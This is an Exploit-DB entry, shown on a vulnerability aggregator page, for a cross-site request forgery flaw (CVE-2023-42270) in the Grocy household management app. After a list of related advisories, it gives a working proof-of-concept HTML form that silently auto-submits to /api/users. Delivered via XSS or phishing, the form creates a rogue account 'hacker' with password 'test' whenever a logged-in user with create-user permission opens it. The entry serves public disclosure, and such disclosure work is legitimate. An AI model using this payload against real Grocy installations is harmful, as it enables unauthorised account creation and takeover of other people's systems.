Grocy <=4.0.2 - CSRF

🗓️ 31 Jan 2024 00:00:00Reported by Chance ProctorType

exploitdb🔗 www.exploit-db.com👁 280 Views

Grocy <=4.0.2 - CSRF vulnerability in Grocy version 4.0.

Reporter	Title	Published	Views	Family All 11
0day.today	Grocy <= 4.0.2 - CSRF Vulnerability	31 Jan 202400:00	–	zdt
ATTACKERKB	CVE-2023-42270	15 Sep 202314:15	–	attackerkb
Circl	CVE-2023-42270	15 Sep 202318:25	–	circl
CNNVD	Grocy Household Management Cross-Site Request Forgery Vulnerability	15 Sep 202300:00	–	cnnvd
CVE	CVE-2023-42270	15 Sep 202300:00	–	cve
Cvelist	CVE-2023-42270	15 Sep 202300:00	–	cvelist
NVD	CVE-2023-42270	15 Sep 202314:15	–	nvd
Packet Storm	Grocy 4.0.2 Cross Site Request Forgery	2 Feb 202400:00	–	packetstorm
Prion	Cross site request forgery (csrf)	15 Sep 202314:15	–	prion
Positive Technologies	PT-2023-28304 · Grocy · Grocy	15 Sep 202300:00	–	ptsecurity

# Exploit Title: Grocy <= 4.0.2 CSRF Vulnerability
# Application: Grocy
# Version: <= 4.0.2
# Date: 09/21/2023
# Exploit Author: Chance Proctor
# Vendor Homepage: https://grocy.info/
# Software Link: https://github.com/grocy/grocy
# Tested on: Linux
# CVE : CVE-2023-42270



Overview
==================================================
When creating a new user in Grocy 4.0.2, the new user request is made using JSON formatting.
This makes it easy to adjust your request since it is a known format. 
There is also no CSRF Token or other methods of verification in place to verify where the request is coming from.
This allows for html code to generate a new user as long as the target is logged in and has Create User Permissions.



Proof of Concept
==================================================
Host the following html code via a XSS or delivery via a phishing campaign:

	<html>
	<form action="/api/users" method="post" enctype="application/x-www-form-urlencoded">
	<input name='username' value='hacker' type='hidden'>
	<input name='password' value='test' type='hidden'>
	<input type=submit>
	</form>
	<script>
	history.pushState('','', '/');
	document.forms[0].submit();
	</script>
	</html>


If a user is logged into the Grocy Webapp at time of execution, a new user will be created in the app with the following credentials

	Username: hacker
	Password: test

Note:
In order for this to work, the target must have Create User Permissions.
This is enabled by default.



Proof of Exploit/Reproduce
==================================================
http://xploit.sh/posts/cve-2023-42270/

31 Jan 2024 00:00Current

8.9High risk

Vulners AI Score8.9

CVSS 3.18.8

EPSS0.00185

Grocy &lt;=4.0.2 - CSRF

Grocy <=4.0.2 - CSRF